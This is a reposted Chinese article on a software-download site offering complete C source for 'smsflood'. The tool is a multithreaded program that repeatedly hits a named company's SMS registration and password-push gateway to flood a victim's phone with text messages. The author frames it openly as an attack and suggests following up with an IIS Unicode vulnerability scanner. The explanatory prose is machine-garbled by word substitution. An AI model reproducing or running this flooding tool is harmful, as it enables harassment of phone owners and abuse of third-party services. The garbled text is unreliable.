大雀软件园

首页 软件下载 安卓市场 苹果市场 电脑游戏 安卓游戏 文章资讯 驱动下载
技术开发 网页设计 图形图象 数据库 网络媒体 网络安全 站长CLUB 操作系统 媒体动画 安卓相关
当前位置: 首页 -> 网络安全 -> 网络其他 -> 短信攻击新思路

短信攻击新思路

时间: 2021-07-31 作者:daque

短信攻击新思路短信攻击新思路  /*证明:   作家:yellow   email:wjj2748_cn@sina.com   日子:2003年9月2日晚 *********************************************************************   吩咐行: smsflood <手机号> <发送度数><回车>   步调运转时会查问效劳器状况,当效劳器状况为40x时大概步调里运用   的短信网关已将洞洞给补上了,由于效劳器何处会有发送记载,大概管   理员会创造咱们所做的,其时就要再找一个有洞洞网关,而后窜改源程   序,再从新编写翻译了.步调虽小,但运用了多线程、临界区、winsock、   tcp/ip、http和议等本领!是一个不错的搜集编制程序例子步调哦!   这边不过供给一个思绪,运用windows sockets编制程序不妨让咱们赢得更多   的底层消息,比方在这个步调里,咱们就会发此刻效劳器运用的是iis 5.0   即使想进一步报复,咱们不妨再编写一个unicode缺点扫描步调(该缺点是   iis所私有的). ********************************************************************** */ #define _mt//多线程扶助 #include <stdio.h> #include <stdlib.h>//memset() #include <string.h> #include <conio.h>//getch() #include <process.h>//_beginthread,运用多线程因变量 #include <winsock.h>//socket(),bind(),connect,send(),recv().....,运用套接字因变量 #pragma comment(lib,"ws2_32.lib")//贯穿套接字因变量 #pragma comment(lib,"libcmt.lib")//贯穿多线程因变量 //inifmt和sendfmt是步调运用的httppost本领数据包,用我写的listen80步调赢得的 char inifmt[]="get /asp/sms/reguse.asp?strmobilecode=%s http/1.1\n"   "accept: */*\n"   "accept-language: zh-cn\n"   "accept-encoding: gzip, deflate\n"   "user-agent: mozilla/4.0 (compatible; msie 5.01; windows nt 5.0)\n"   "host: sms.soufun.com\n"   "connection: keep-alive\n\n"; char sendfmt[]="get /asp/sms/pushpass.asp?strmobilecode=%s http/1.1\n" "accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*\n" "accept-language: zh-cn\n" "accept-encoding: gzip, deflate\n" "user-agent: mozilla/4.0 (compatible; msie 5.01; windows nt 5.0)\n" "host: sms.soufun.com\n" "connection: keep-alive\n\n"; char buffer[400]={0},buffer2[300]={0}; struct sockaddr_in server,client; char mobile[11]={0}; int scount=0; critical_section beswap; /***********************************************************************************************/ void do****amcc(void* parm) { entercriticalsection(&beswap); socket sfd; scount++; if((sfd=socket(af_inet,sock_stream,0))==invalid_socket) { printf("为%d报复线程调配套按字波折....\n",scount--);     leavecriticalsection(&beswap); return ; } if(bind(sfd,(struct sockaddr *)(&client),sizeof(struct sockaddr))==socket_error) { printf("报复线程%d地方绑定波折....\n",scount--); leavecriticalsection(&beswap); closesocket(sfd); return ; } if(connect(sfd,(struct sockaddr*)&server,sizeof(struct sockaddr))) { printf("报复线程%d在贯穿到效劳器时波折....\n",scount--); closesocket(sfd); leavecriticalsection(&beswap); return ; } printf("线程%d正在发送数据包到%s\n",scount,mobile); memset(buffer,0,380); printf("报复线程 %d 正在初使化短信报复数据......\n",scount); wsprintf(buffer,inifmt,mobile); send(sfd,buffer,sizeof(buffer),0); printf("报复线程 %d 正在发送报复数据包......\n",scount); wsprintf(buffer,sendfmt,mobile); send(sfd,buffer,sizeof(buffer),0); printf("报复线程 %d 实行数据包发送,正在查问效劳器状况......\a\n",scount); recv(sfd,buffer2,240,0); printf("效劳器状况如次:\n%s\n",buffer2); leavecriticalsection(&beswap); sleep(200);                                          } /***********************************************************************************************/ void main(int argc,char **argv) { //1,初使化套接字以及地方和临界区变量 wsadata data; struct hostent *host=null; int begin=0,thread=0; if(argc!=3) { printf("smsflood <mobile> <times>\a\n"); exit(-1); } if(wsastartup(0x0202,&data)!=0) { printf("wsastartup error:%d\n",wsagetlasterror()); exit(0); } memset((void*)&server,0,sizeof(struct sockaddr_in)); memset((void*)&client,0,sizeof(struct sockaddr_in)); server.sin_family=af_inet; server.sin_port=htons(80); server.sin_addr.s_un.s_addr=inet_addr("202.108.253.37"); client.sin_addr.s_un.s_addr=htonl(inaddr_any); client.sin_port=htons(0); client.sin_family=af_inet; thread=atoi(argv[2]); strcpy(mobile,argv[1]); initializecriticalsection(&beswap); //2,跟据用户输出启用发送线程 printf("\n短信洪流报复步调 ver 1.0.1.11\n\n作家:yellow\n\nemail:wjj2748_cn@sina.com\n\n"); printf("初使化实行,能否发端报复?(y/n)\a\n"); if(getch()=='y') { while(begin<thread) { if(_beginthread(do****amcc, 0, null )==(long)-1) continue; else begin++; } printf("报复线程仍旧,请等候线程退出......\a\n"); } //3,实行发送后,举行需要整理 getch(); printf("按大肆键退出......\n"); getch(); wsacleanup(); deletecriticalsection(&beswap); //4,退出运用步调 } 

热门阅览

最新排行

Copyright © 2019-2021 大雀软件园(www.daque.cn) All Rights Reserved.